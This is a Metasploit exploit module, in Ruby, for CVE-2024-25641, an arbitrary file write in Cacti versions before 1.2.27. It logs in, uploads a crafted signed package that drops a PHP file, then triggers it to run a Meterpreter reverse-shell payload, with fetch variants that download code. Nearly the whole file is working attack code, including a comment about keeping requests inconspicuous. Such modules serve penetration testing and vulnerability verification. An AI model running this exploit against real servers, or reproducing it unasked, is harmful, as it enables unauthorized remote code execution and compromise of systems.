294 lines
10 KiB
Ruby
294 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Cacti
|
|
include Msf::Payload::Php
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Cacti Import Packages RCE',
|
|
'Description' => %q{
|
|
This exploit module leverages an arbitrary file write vulnerability
|
|
(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It
|
|
abuses the `Import Packages` feature to upload a specially crafted
|
|
package that embeds a PHP file. Cacti will extract this file to an
|
|
accessible location. The module finally triggers the payload to execute
|
|
arbitrary PHP code in the context of the user running the web server.
|
|
|
|
Authentication is needed and the account must have access to the
|
|
`Import Packages` feature. This is granted by setting the `Import
|
|
Templates` permission in the `Template Editor` section.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Egidio Romano', # Initial research and discovery
|
|
'Christophe De La Fuente' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://karmainsecurity.com/KIS-2024-04'],
|
|
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'],
|
|
[ 'CVE', '2024-25641']
|
|
],
|
|
'Platform' => ['unix linux win'],
|
|
'Privileged' => false,
|
|
'Arch' => [ARCH_PHP, ARCH_CMD],
|
|
'Targets' => [
|
|
[
|
|
'PHP',
|
|
{
|
|
'Arch' => ARCH_PHP,
|
|
'Platform' => 'php',
|
|
'Type' => :php,
|
|
'DefaultOptions' => {
|
|
# Payload is not set automatically when selecting this target.
|
|
# Select Meterpreter by default
|
|
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Command',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => [ 'unix', 'linux' ],
|
|
'DefaultOptions' => {
|
|
# Payload is not set automatically when selecting this target.
|
|
# Select a x64 fetch payload by default.
|
|
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'win',
|
|
'DefaultOptions' => {
|
|
# Payload is not set automatically when selecting this target.
|
|
# Select a x64 fetch payload by default.
|
|
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2024-05-12',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
|
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
|
|
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
# Step 1 - Check if the target is Cacti and get the version
|
|
print_status('Checking Cacti version')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'method' => 'GET',
|
|
'keep_cookies' => true
|
|
)
|
|
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
|
|
|
|
html = res.get_html_document
|
|
begin
|
|
cacti_version = parse_version(html)
|
|
version_msg = "The web server is running Cacti version #{cacti_version}"
|
|
rescue Msf::Exploit::Cacti::CactiNotFoundError => e
|
|
return CheckCode::Safe(e.message)
|
|
rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e
|
|
return CheckCode::Unknown(e.message)
|
|
end
|
|
|
|
if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27')
|
|
print_good(version_msg)
|
|
else
|
|
return CheckCode::Safe(version_msg)
|
|
end
|
|
|
|
# Step 2 - Login
|
|
@csrf_token = parse_csrf_token(html)
|
|
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?
|
|
|
|
begin
|
|
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
|
|
rescue Msf::Exploit::Cacti::CactiError => e
|
|
return CheckCode::Unknown("Login failed: #{e}")
|
|
end
|
|
|
|
@logged_in = true
|
|
|
|
# Step 3 - Check if the user has enough permissions to reach `package_import.php`
|
|
print_status('Checking permissions to access `package_import.php`')
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'package_import.php'),
|
|
'method' => 'GET',
|
|
'keep_cookies' => true
|
|
)
|
|
return CheckCode::Unknown('Could not access `package_import.php` - no response') if res.nil?
|
|
return CheckCode::Unknown("Could not access `package_import.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200
|
|
# The form with the CSRF token input field is not present when access is denied
|
|
if parse_csrf_token(res.get_html_document).empty?
|
|
return CheckCode::Safe('Could not access `package_import.php` - insufficient permissions')
|
|
end
|
|
|
|
CheckCode::Appears
|
|
end
|
|
|
|
def generate_package
|
|
@payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"
|
|
|
|
php_payload = target['Type'] == :php ? payload.encoded : php_exec_cmd(payload.encoded)
|
|
|
|
digest = OpenSSL::Digest.new('SHA256')
|
|
pkey = OpenSSL::PKey::RSA.new(2048)
|
|
file_signature = pkey.sign(digest, php_payload)
|
|
|
|
xml_data = <<~XML
|
|
<xml>
|
|
<files>
|
|
<file>
|
|
<name>#{@payload_path}</name>
|
|
<data>#{Rex::Text.encode_base64(php_payload)}</data>
|
|
<filesignature>#{Rex::Text.encode_base64(file_signature)}</filesignature>
|
|
</file>
|
|
</files>
|
|
<publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}</publickey>
|
|
<signature></signature>
|
|
</xml>
|
|
XML
|
|
|
|
signature = pkey.sign(digest, xml_data)
|
|
xml_data.sub!('<signature></signature>', "<signature>#{Rex::Text.encode_base64(signature)}</signature>")
|
|
|
|
Rex::Text.gzip(xml_data)
|
|
end
|
|
|
|
def upload_package
|
|
print_status('Uploading the package')
|
|
# Default parameters sent when importing packages from the web UI
|
|
# Randomizing these values might be suspicious
|
|
vars_form = {
|
|
'__csrf_magic' => @csrf_token,
|
|
'trust_signer' => 'on',
|
|
'data_source_profile' => '1',
|
|
'remove_orphans' => 'on',
|
|
'replace_svalues' => 'on',
|
|
'image_format' => '3',
|
|
'graph_height' => '200',
|
|
'graph_width' => '700',
|
|
'save_component_import' => '1',
|
|
'preview_only' => 'on',
|
|
'action' => 'save'
|
|
}
|
|
|
|
vars_form_data = []
|
|
vars_form.each do |name, data|
|
|
vars_form_data << { 'name' => name, 'data' => data }
|
|
end
|
|
|
|
vars_form_data << {
|
|
'name' => 'import_file',
|
|
'filename' => "#{rand_text_alphanumeric(5..10)}.xml.gz",
|
|
'content_type' => 'application/x-gzip',
|
|
'encoding' => 'binary',
|
|
'data' => generate_package
|
|
}
|
|
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'package_import.php'),
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_form_data' => vars_form_data
|
|
)
|
|
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when sending the preview import request') if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "Unexpected response code (#{res.code}) when sending the preview import request") unless res.code == 200
|
|
|
|
html = res.get_html_document
|
|
local_path = html.xpath('//input[starts-with(@id, "chk_file")]/@title').text
|
|
fail_with(Failure::Unknown, 'Unable to import the package') if local_path.empty?
|
|
|
|
vars_form['preview_only'] = ''
|
|
res = send_request_cgi(
|
|
'uri' => normalize_uri(target_uri.path, 'package_import.php'),
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'vars_post' => vars_form
|
|
)
|
|
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when importing the package') if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "Unexpected response code when importing the package (#{res.code})") unless res.code == 302
|
|
|
|
local_path
|
|
end
|
|
|
|
def trigger_payload
|
|
# Expecting no response
|
|
print_status('Triggering the payload')
|
|
send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, @payload_path),
|
|
'method' => 'GET'
|
|
}, 1)
|
|
end
|
|
|
|
def exploit
|
|
# Setting the `FETCH_DELETE` option seems to break the payload execution.
|
|
# `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it
|
|
# is not possible to opt-out anymore.
|
|
fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']
|
|
|
|
unless @csrf_token
|
|
begin
|
|
@csrf_token = get_csrf_token
|
|
rescue CactiError => e
|
|
fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")
|
|
end
|
|
end
|
|
|
|
unless @logged_in
|
|
begin
|
|
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
|
|
rescue CactiError => e
|
|
fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")
|
|
end
|
|
end
|
|
|
|
package_path = upload_package
|
|
|
|
register_file_for_cleanup(package_path)
|
|
|
|
# For fetch payloads, setting the `FETCH_DELETE` option seems to break the
|
|
# payload execution. Using `#register_file_for_cleanup` instead, since we
|
|
# know the local path.
|
|
if target['Type'] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch)
|
|
if File.absolute_path?(datastore['FETCH_FILENAME'])
|
|
register_file_for_cleanup(datastore['FETCH_FILENAME'])
|
|
else
|
|
register_file_for_cleanup(File.join(File.dirname(package_path), datastore['FETCH_FILENAME']))
|
|
end
|
|
end
|
|
|
|
trigger_payload
|
|
end
|
|
|
|
end
|